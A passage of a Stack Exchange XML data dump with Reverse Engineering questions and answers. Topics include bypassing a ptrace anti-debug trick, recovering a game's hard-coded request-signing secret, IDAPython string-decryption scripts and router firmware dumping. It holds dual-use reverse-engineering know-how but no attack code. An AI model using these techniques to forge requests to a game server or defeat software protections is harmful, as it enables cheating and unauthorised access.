lengths larger than &lt;code&gt;6&lt;/code&gt; though.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2015-11-13T12:27:16.563" LastActivityDate="2015-11-13T12:27:16.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11323" PostTypeId="1" CreationDate="2015-11-13T13:49:41.257" Score="1" ViewCount="451" Body="&lt;p&gt;I have found this question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6467/linux-how-to-debug-a-debugger&quot;&gt;(linux) How to debug a &amp;quot;debugger&amp;quot;?&lt;/a&gt;&#xA;It is an anti debug technique, the parent creates a forked process and ptrace it. Now gdb can not attach top the child process.&#xA;I would like to know how efficient this technique is: is there a way to bypass this method and to attach a debugger to the child? (for example - if possible - by detaching it first) I met this method reading about Apriorit, but they also use nanomites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: There are some advices at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6467/linux-how-to-debug-a-debugger&quot;&gt;(linux) How to debug a &amp;quot;debugger&amp;quot;?&lt;/a&gt; but I would like to see some real examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: If somebody can show how easy or hard is to bypass it that would also show how effective is it.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-13T16:27:18.843" Title="An anti debug method on Linux" Tags="|gdb|anti-debugging|" AnswerCount="0" CommentCount="3" ClosedDate="2015-11-18T05:54:05.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="11324" PostTypeId="1" CreationDate="2015-11-13T17:25:23.520" Score="3" ViewCount="341" Body="&lt;p&gt;I have a chip on a DJI Phantom 3 Advanced controller/remote. It is the RF communications chip, which I believe to be some sort of Analog Devices wireless networking chip, but I'm not sure exactly which one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to identify it in order to interoperate with it from novel hardware. DJI however has obscured the chip (all major chips, actually) on this board with an epoxy goo covering on each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I practiced on a couple other chips on the board with limited success. The main CPU (an Altera ARM core) epoxy came off ok with careful in-plane scraping with an xacto knife, but the RF chip is surrounded by a the sides of the RF isolation cage and it isn't easy to scrape that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per some other recommendations, I tried grinding with a wooden toothpick in a Dremel tool on another chip, but so far that hasn't been effective in revealing the chip ID there, and I don't want to try it on the important chip yet in case I make it illegible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What techniques are good for removing an unknown epoxy from an obscured chip?&lt;/p&gt;&#xA;" OwnerUserId="14134" LastActivityDate="2015-11-19T06:04:46.530" Title="Chip obscuring epoxy removal for chip identification?" Tags="|hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11325" PostTypeId="1" CreationDate="2015-11-13T22:01:31.427" Score="1" ViewCount="2251" Body="&lt;p&gt;I have a libcocos2djs.so file, which presumably is a mobile game using Cocos2d. Result of &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The game sends HTTP requests to the game server. For each request, the program adds an integer timestamp query parameter to the request URL, then calculates the MD5 hash of the URL concatenated with a secret string, and then adds this MD5 hash as a query parameter to the URL.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Original URL: /some_endpoint&lt;/p&gt;&#xA;&lt;p&gt;With timestamp: /some_endpoint&amp;amp;time=324234243&lt;/p&gt;&#xA;&lt;p&gt;With hash (MD5 the above string concatenated with a secret string): /some_endpoint&amp;amp;time=324234243&amp;amp;hash=870839dba52a8fc6f47f44742116a40b&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This secret string is what I want to find out.&lt;/p&gt;&#xA;&lt;p&gt;I learnt to use a version of objdump that supports ARM to disassemble this object file, but since my assembly knowledge is limited, I don't know where to start and it would be great if someone can point me to the right direction. I just need one secret string.&lt;/p&gt;&#xA;&lt;p&gt;The old versions of the game were using Unity, which could be easily decompiled, and I found the secret string was hard-coded in the source code. They use a new secret string for the new version and it's very likely the secret string is still hard-coded in the source code. Not sure if this information is helpful.&lt;/p&gt;&#xA;" OwnerUserId="14138" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-11-20T16:06:54.700" Title="Find a string in an object file" Tags="|disassembly|debugging|decompilation|strings|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11326" PostTypeId="1" AcceptedAnswerId="11329" CreationDate="2015-11-14T19:06:18.297" Score="0" ViewCount="8065" Body="&lt;p&gt;How can I convert the following IDA Pro generated disassembly (assembly language) into a higher level language?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;mov edx, Var1&#xA;mov ecx, Var2&#xA;mov eax, edx&#xA;imul ecx&#xA;mov edx, eax&#xA;imul edx, eax&#xA;mov Var3, ecx&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to write a detailed pseudo code describing the function of the provided assembly snippet.&lt;/p&gt;&#xA;" OwnerUserId="14147" LastEditorUserId="2318" LastEditDate="2015-11-15T16:12:17.523" LastActivityDate="2015-11-15T17:37:10.490" Title="How to decompile this assembly code?" Tags="|ida|assembly|decompilation|" AnswerCount="2" CommentCount="1" ClosedDate="2015-11-24T05:42:43.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="11327" PostTypeId="2" ParentId="11326" CreationDate="2015-11-14T21:34:01.143" Score="1" Body="&lt;p&gt;I believe what you need is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Decompiler&quot; rel=&quot;nofollow&quot;&gt;decompiler&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://derevenets.com/&quot; rel=&quot;nofollow&quot;&gt;Snowman&lt;/a&gt; is an example of a free decompiler which integrates easily (can be installed as a plugin) with IDA.&lt;/p&gt;&#xA;" OwnerUserId="14148" LastActivityDate="2015-11-14T21:34:01.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11328" PostTypeId="1" CreationDate="2015-11-15T08:27:55.503" Score="2" ViewCount="2779" Body="&lt;p&gt;I am trying to develop a Pintool on Windows. But so far I have been unable to configure or execute PIN. I have Microsoft Visual Studio 10.0 installed on my system. I have also downloaded and unzipped pin from its website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On windows, &quot;pin&quot; command needs &quot;.dll&quot; file of pintool to execute. Suppose I want to execute &quot;icount.cpp&quot; on &quot;prog1.exe&quot;. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use Visual Studio to develop my own tools? I have gone through tutorials and I know what to writ, but I am not getting where and how to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you in advance.&lt;/p&gt;&#xA;" OwnerUserId="13106" LastActivityDate="2020-04-11T16:58:10.020" Title="Configure and execute Intel's PIN Tool" Tags="|dynamic-analysis|instrumentation|pintool|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11329" PostTypeId="2" ParentId="11326" CreationDate="2015-11-15T17:37:10.490" Score="7" Body="&lt;p&gt;Please note that there is no general 1:1 relation between assembly code and a higher level language, especially if the assembly was crafted manually. And even for compiled code there may be no good translation if the code was heavily optimized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that reverse engineering is not about translating assembly to higher level language, it's about figuring out what's going on. For example, a year ago, someone asked this series of questions [&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6858/create-key-generator-algorithm-from-validation-algo&quot;&gt;1&lt;/a&gt;] [&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6945/identify-a-decryption-scheme&quot;&gt;2&lt;/a&gt;] [&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8311/reverse-decryption-algorithm&quot;&gt;3&lt;/a&gt;]. That guy meticuously translated a lot of assembly to C and wasn't any wiser; in the end, he could have saved himself 2 months if he had been able to recognize the RSA algorithm from the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, a high level language implementation of something might be easier to read than assembly, so translating to high level might be &lt;em&gt;a part&lt;/em&gt; of the work, but it's not the biggest part in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as you have only 2 opcodes, one of which is &lt;code&gt;mov&lt;/code&gt; which is the equivalent to an assignment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, Var1           ; edx=Var1&#xA;mov ecx, Var2           ; ecx=Var2&#xA;mov eax, edx            ; eax=edx (=Var1)&#xA;imul ecx                ; eax=eax*ecx (=Var1*Var2)&#xA;mov edx, eax            ; edx=eax (=Var1*Var2)&#xA;imul edx, eax           ; edx=edx*eax (=(Var1*Var2)^2)&#xA;mov Var3, ecx           ; var3=ecx (=Var2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, your code calculates (Var1*Var2)^2, but then assigns Var2 to Var3, not the calculated result. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this was a homework question, i'd assume your teacher wanted to see if you're paying attention to detail. Also, it shows that there's no good translation to a high level language, because you don't generally calculate anything in them without using the result. Although, in C, you could have written&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Var1*Var2)*(Var1*Var2);    // note the expression without an assignment&#xA;Var3=Var2;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but your compiler would normally throw away the first line of this.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-15T17:37:10.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11330" PostTypeId="1" CreationDate="2015-11-15T18:22:07.893" Score="3" ViewCount="2067" Body="&lt;p&gt;I connected ttl cable to my router board, and Im trying to dump firmware in order to flash second device over web interface with my backup so I have few questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What binary file for ex. upgrade.bin contains ? Kernel image, files, user settings ? Im asking that because Im not sure which partition do I need to dump there is few&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dev:    size   erasesize  name&#xA;mtd0: 00800000 00010000 &quot;Whole_Flash&quot;&#xA;mtd1: 00020000 00010000 &quot;Bootloader&quot;&#xA;mtd2: 00010000 00010000 &quot;defcfg&quot;&#xA;mtd3: 00020000 00010000 &quot;curcfg&quot;&#xA;mtd4: 00010000 00010000 &quot;log&quot;&#xA;mtd5: 00180000 00010000 &quot;kernel1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is table from U-BOOT&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AMAZON_S # bdinfo&#xA;boot_params = 0x81DDEFB0&#xA;memstart    = 0x80000000&#xA;memsize     = 0x02000000&#xA;flashstart  = 0xB0000000&#xA;flashsize   = 0x00800000&#xA;flashoffset = 0x00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did tried with dd but on board busybox does not contain one so I need to do it over U-BOOT but I cant &quot;initialize&quot; SPI device &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AMAZON_S # help sf&#xA;sf probe [bus:]cs [hz] [mode]   - init flash device on given SPI bus&#xA;                                  and chip select&#xA;sf read addr offset len         - read `len' bytes starting at&#xA;                                  `offset' to memory at `addr'&#xA;sf write addr offset len        - write `len' bytes from memory&#xA;                                  at `addr' to flash at `offset'&#xA;sf erase offset len             - erase `len' bytes from `offset'&#xA;&#xA;AMAZON_S # sf probe 0&#xA;Failed to initialize SPI flash at 0:0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And last how could I determine how long is &quot;Whole_Flash&quot; or &quot;kernel1&quot;&#xA; in order to dump correct amount of memory ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AMAZON_S # printenv&#xA;bootcmd=run flash_flash&#xA;bootdelay=3&#xA;baudrate=115200&#xA;preboot=echo;echo Type &quot;run flash_nfs&quot; to mount root filesystem over NFS;echo&#xA;serverip=192.168.1.55&#xA;netdev=eth0&#xA;baudrate=115200&#xA;rootpath=/opt/nfs&#xA;nfsargs=setenv bootargs root=/dev/nfs rw nfsroot=$(serverip):$(rootpath)&#xA;ramargs=setenv bootargs root=/dev/ram rw&#xA;addip=smem=2M&#xA;vpe1_load_aotargs) ip=$(ipaddr):$(serverip):$(gatewayip):$(netmask):$(hostname):$(netdev):on&#xA;mem=32M&#xA;vpe0mem=30M&#xA;vpe1mem=2M&#xA;vpe1_load_addr=0x81e00000&#xA;addmisc=setenv bootargs $(bootargs) console=ttyS1,$(baudrate) ethaddr=$(ethaddr) phym=$(mem) mem=$(vpe0mem) panic=1 vpe1_load_addr=$(vpe1_load_addr) vpe1_mem=$(vpe1mem) vpe1_wired_tlb_entries=1&#xA;flash_nfs=run nfsargs addip addmisc;bootm $(kernel_addr)&#xA;ramdisk_addr=B0100000&#xA;flash_self=run ramargs addip addmisc;bootm $(kernel_addr) $(ramdisk_addr)&#xA;img_uboot=u-boot.ifx&#xA;net_nfs=tftp 80500000 $(img_kernel);run nfsargs addip addmisc;bootm&#xA;net_ram=tftp 80500000 $(img_kernel);run ramargs addip addmisc;bootm&#xA;load=tftp 80500000 $(img_uboot)&#xA;flash_flash=run addip addmisc; bootm $(kernel_addr)&#xA;f_ubootconfig_addr=0xB001A000&#xA;f_ubootconfig_size=0x1000&#xA;ethaddr=20:89:86:06:B4:00&#xA;ipaddr=192.168.1.1&#xA;netmask=255.255.255.0&#xA;stdin=serial&#xA;stdout=serial&#xA;stderr=serial&#xA;ethact=amazon_s Switch&#xA;&#xA;Environment size: 1252/4092 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2015-11-15T18:22:07.893" Title="Dump router firmware over U-BOOT" Tags="|serial-communication|dumping|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11332" PostTypeId="1" AcceptedAnswerId="11334" CreationDate="2015-11-16T00:50:16.963" Score="4" ViewCount="3661" Body="&lt;p&gt;I'm trying to figure out a way to automatically decrypt certain strings in a binary called by a function several times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function takes three arguments and is a simple xor decryption. However it uses a different key for each unique string it wants to decrypt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char* decrypt(char* string_to_decrypt, uint string_len, char xor_byte)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm attempting to do is get a list of the xrefsTo this function (This is as far as I got) and read in the current string it wants to decrypt in the binary, and grab the xor key and length, then patch the binary to display the plaintext strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is called like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040168A push    83h&#xA;.text:0040168F push    9&#xA;.text:00401691 mov     eax, esi&#xA;.text:00401693 mov     edx, offset unk_406D58&#xA;.text:00401698 call    decrypt_string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where EDX, always holds the address of the encrypted string, and the two pushes are the key and length (9 length, 0x83 key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mov eax, esi isn't always present. Is there a way to read the disassembly and get this function and then just dynamically decrypt all the strings in the database? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness this is where I started.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;ea = here()&#xA;print hex(ea)&#xA;&#xA;xrefs = CodeRefsTo(ea,0)&#xA;    for xref in xrefs:&#xA;    print &quot;Ref Addr: {}&quot;.format(hex(xref))&#xA;&#xA;# for all xrefs, get string offset, length and key,&#xA;# decrypt that string, and patch or rename it to display decrypted string)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;w-s response got me in the right direction. Here is what I came up with. It's rough, I know :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;import idautils&#xA;&#xA;ea = here()&#xA;xrefs = CodeRefsTo(ea,0)&#xA;&#xA;data = []&#xA;decrypted = []&#xA;&#xA;for xref in xrefs:&#xA;    current_x = xref&#xA;    d = {}&#xA;    d['addr'] = hex(current_x)&#xA;    n_pushes = 0&#xA;    n_movedx = 0&#xA;&#xA;    for i in xrange(6):&#xA;        if n_pushes == 2 and n_movedx == 1:&#xA;            break&#xA;&#xA;        current_x = idc.PrevHead(current_x)&#xA;        instr = idautils.DecodeInstruction(current_x)&#xA;        if instr.itype == idaapi.NN_push:&#xA;&#xA;            if n_pushes &amp;lt; 1:&#xA;                d['len'] = int(GetOperandValue(current_x, 0))&#xA;&#xA;            if n_pushes == 1:&#xA;                d['key'] = int( hex(GetOperandValue(current_x, 0)), 16)&#xA;&#xA;            n_pushes += 1&#xA;&#xA;        if instr.itype == idaapi.NN_mov:&#xA;            if GetOpnd(current_x, 0) == 'edx':&#xA;                d['string_offset'] = GetOperandValue(current_x, 1)&#xA;&#xA;    data.append(d)&#xA;......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1876" LastEditorUserId="1876" LastEditDate="2015-11-17T01:52:36.913" LastActivityDate="2017-07-12T19:41:15.460" Title="Automating a Decryption function call in IDA Python" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11334" PostTypeId="2" ParentId="11332" CreationDate="2015-11-16T07:07:56.757" Score="4" Body="&lt;p&gt;When I did something similar I used &lt;code&gt;idc.PrevHead(ea)&lt;/code&gt;to iterate back from the call site, so it was something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Not tested, even not runned even once&#xA;# expect errors, use on your own risk &#xA;# probably parsing and analysing disassembly is not best way to do it&#xA;&#xA;import idc&#xA;import idautils&#xA;&#xA;&#xA;ea = idc.ScreenEA()&#xA;&#xA;xrefs = CodeRefsTo(ea,0)&#xA;for xref in xrefs:&#xA;    current = xref&#xA;    numOfPushes = 0&#xA;    numOfEdx = 0&#xA;    edxes = []&#xA;    pushes = []&#xA;    for i in range(10): # taking 10 instructions back&#xA;        if numOfEdx == 1 and numOfPushes == 2:&#xA;            break&#xA;        current = idc.PrevHead(current)&#xA;        s = idc.GetDisasm(current)&#xA;        if s.find(&quot;mov edx&quot;) != -1: #copy-paste exact string here, tabulation expected&#xA;            edxes.append(s)&#xA;            numOfEdx += 1&#xA;        if s.find(&quot;push&quot;)!= -1: &#xA;            pushes.append(s)&#xA;            numOfPushes += 1&#xA;    if len(edxes) &amp;gt; 0:&#xA;        print &quot;%08x : EDX instruction &quot; % xref, edxes[0]&#xA;    else:&#xA;        print &quot;%08x : EDX mov not found&quot; % xref&#xA;    if len(pushes) &amp;gt;= 2:&#xA;        print &quot;%08x : Push[0] &quot; % xref, pushes[0]&#xA;        print &quot;%08x : Push[1] &quot; % xref, pushes[1]&#xA;    else:&#xA;        print &quot;%08x : can not find appropriate push instructions&quot; %  xref&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you have your instructions, all the rest should be obvious.&#xA;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2015-11-16T14:27:51.153" LastActivityDate="2015-11-16T14:27:51.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11335" PostTypeId="1" CreationDate="2015-11-15T11:11:31.957" Score="3" ViewCount="1059" Body="&lt;p&gt;I have a Urmet Signo 1740/40 intercom device in my apartment, and I've been brooding on a way to replicate (some of) its functionality from a different device (such as a Raspberry Pi) so that I can control it from e.g. a web interface or mobile app. However, I could use some pointers to get started with the electronic aspects of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After opening up the device, I found the following PCB. The thing that immediately draws attention is the 22-pin connector that connects the front side of the device to the PCB (bottom-left just below the dip switches). Given that the front panel contains the buttons as well as audio/video interfaces, it would appear that everything I would want flows via this connection. See the photos below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main question is: what would be the best way to approach reading the signal from an external device? I thought about wiring each of the pins to GPIO input pins of a Pi to try and reading out the value while using different functionality of the device, but I feel like I know way too little about this thing to know if that will cause damage. I would like to learn how to do this properly, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone recognise this type of connector? Is this likely to be a standard, or is it something proprietary they might have cooked up themselves? What equipment would you suggest when trying to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not really been able to find any documents on the technical specifications of this device other than install guides.. Are these things commonly available? What is a good starting point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/heUNu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/heUNu.jpg&quot; alt=&quot;PCB&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TiNQE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiNQE.jpg&quot; alt=&quot;pins&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14156" OwnerDisplayName="Joost" LastEditorUserId="14156" LastEditDate="2015-11-16T07:54:53.300" LastActivityDate="2015-11-17T15:35:02.017" Title="Reverse engineer intercom connection (22pin internal connector)" Tags="|hardware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11336" PostTypeId="2" ParentId="11332" CreationDate="2015-11-16T12:56:19.997" Score="2" Body="&lt;p&gt;You can use Sark to do most of the work. It should be something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;&#xA;def get_edx_values_at_calls_to(function):&#xA;    for xref in function.xrefs_to:&#xA;        if not xref.type.is_call:&#xA;            continue&#xA;&#xA;        # start at the function call (`xref.frm`) and go back to the beginning of&#xA;        # the basic-block (`sark.CodeBlock(xref.frm).startEA`).&#xA;        for line in sark.lines(start=sark.CodeBlock(xref.frm).startEA,&#xA;                               end=xref.frm, &#xA;                               reverse=True):&#xA;            if line.insn.mnem == 'mov' and line.insn.operands[0].reg == 'edx':&#xA;                yield line.insn.operands[1].value&#xA;&#xA;decrypt_function = sark.Function()&#xA;for value in get_edx_values_at_calls_to(decrypt_function):&#xA;    pass  # decryption code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="8200" LastEditDate="2017-07-12T19:41:15.460" LastActivityDate="2017-07-12T19:41:15.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11337" PostTypeId="2" ParentId="10860" CreationDate="2015-11-16T19:00:11.480" Score="14" Body="&lt;p&gt;Yes, it's 2xAES3-like. Data is basically PCM, 8 channels per pair.&#xA;See &lt;a href=&quot;http://www.diyaudio.com/forums/digital-line-level/261683-suggestions-please-16-channel-24-bit-digital-audio-recorder-3.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.diyaudio.com/forums/digital-line-level/261683-suggestions-please-16-channel-24-bit-digital-audio-recorder-3.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Physical RJ45 pinout: &#xA;1: Ch 1-8 (TD+)&#xA;2: Ch 1-8 (TD-)&#xA;3: Ch 9-16 (TD+)&#xA;4: Vcc&#xA;5: Vcc&#xA;6: Ch 9-16 (TD-)&#xA;7: GND&#xA;8: GND&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Power over RJ45': Vcc is 15 volts DC (pins chosen are similar to Power over Ethernet standard). This comes from an internal switch-mode PSU and is intended to power the P16-m external monitoring boxes. It's not stated how much current each connector is specified to source (there are six output connectors on the P16-i). The P16-m's can also be powered by an external PSU, and the back panel reads &quot;12v 300mA&quot;. So it's probably safe to say that each P16-i output socket could provide around 4 watts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing to note, is that the P16m requires some power draw on the Vcc pins, to switch on the data outputs. Some experimentation found that 5k6 resistor from Vcc to GND does NOT switch it on; whereas a 2k2 resistor DOES switch it on. So the P16m is looking for approx 7mA current draw to switch on the outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Differential signal: Each P16-I output (1, 2, 3, 6) is fed via half of a 74LVC245 octal buffer transceiver device, used in output-only mode.  These are producing nearly 5v peak signal, driven differentially on each pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data rate on each pair is approx 12.2MHz, comprising&#xA;32 bits data x 8 channels x 48kHz sampling rate - in other words 1.5 MBytes per second. Two pairs means you have 3.0 MBytes per second of raw data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 32 bit 'samples' comprise 24 bits of audio + 8 bits of framing. The framing byte is usually 0x01, but occasionally is 0x09, indicating a 'multiframe'. That's essential for locking on to the correct beginning channel. Effectively the true data rate seen by the WM8804 is like &quot;stereo 192kHz&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 24 bits of audio are in fact 20-bit, the LS 4 bits on my unit are always zero. Other devices such as X32 might have different ADCs and therefore behave differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The differential signals can be received via a &quot;MagJack&quot; and a circuit such as this: &lt;a href=&quot;http://tuck1s.blogspot.co.uk/2015/11/differential-line-receiver-for.html&quot; rel=&quot;noreferrer&quot;&gt;http://tuck1s.blogspot.co.uk/2015/11/differential-line-receiver-for.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my purposes I wanted to stream in the audio in real-time, and write it to some permanent storage. I settled on an XMOS StartKit as being the ideal thing to play with. You can see more about them here: &lt;a href=&quot;http://www.xmos.com/products/boards#startkit&quot; rel=&quot;noreferrer&quot;&gt;http://www.xmos.com/products/boards#startkit&lt;/a&gt;&#xA;These are very low cost, available from Farnell, RS etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written some code for decoding and storing the signals onto SD card. For the sake of simplicity I'm writing just the MS 16 bits of the signals. Currently I'm streaming in WAV format and it works. I can load the recorded signals into Sonar X1 or Audacity and the audio shows up nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code's freely available on GitHub here: &lt;a href=&quot;https://github.com/tuck1s/UltranetReceiver&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/tuck1s/UltranetReceiver&lt;/a&gt;&#xA;It's not perfect yet - there are many TODOs marked in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note a few things:&#xA;- We don't have 'permission' from Behringer, they will probably tell us it is a proprietary interface. However it's pretty simple to decode with a DSO, and everything done can be done external to the box.&#xA;- The SDCard code I have used drives the SD card in 4-bit mode. For commercial use you need to sign up to the SD Card Association which costs at least $1000&#xA;- The FATFS code I've used is based on published open source, originally on &lt;a href=&quot;http://elm-chan.org/fsw_e.html&quot; rel=&quot;noreferrer&quot;&gt;http://elm-chan.org/fsw_e.html&lt;/a&gt; and in the derived work here: &lt;a href=&quot;https://github.com/xcore/sc_sdcard&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/xcore/sc_sdcard&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14164" LastEditorUserId="14164" LastEditDate="2015-11-24T10:50:44.343" LastActivityDate="2015-11-24T10:50:44.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11338" PostTypeId="1" AcceptedAnswerId="11343" CreationDate="2015-11-17T08:13:43.390" Score="0" ViewCount="60" Body="&lt;p&gt;Good day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build this simple code on Intel cpu working on Windows 7 with MS VS Express 2013:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int f(int a, int b, int c);&#xA;&#xA;int f(int a, int b, int c){&#xA;    int d = a*b + c;&#xA;    return d;&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    printf(&quot;%d\n&quot;, f(1, 2, 3));&#xA;    return 0;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I disassemble binary I see just main() function that push 5 (the result of f()) and call printf():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; int __cdecl main(int argc, const char **argv, const char **envp)&#xA;_main proc near&#xA;push    5&#xA;push    offset Format   ; &quot;%d\n&quot;&#xA;call    ds:__imp__printf&#xA;add     esp, 8&#xA;xor     eax, eax&#xA;retn&#xA;_main endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm expect to see something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; push 3&#xA; push 2&#xA; push 1&#xA; call _f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or doing similar things with registers (for x64). But can't find f() definition. Is there any conventions or 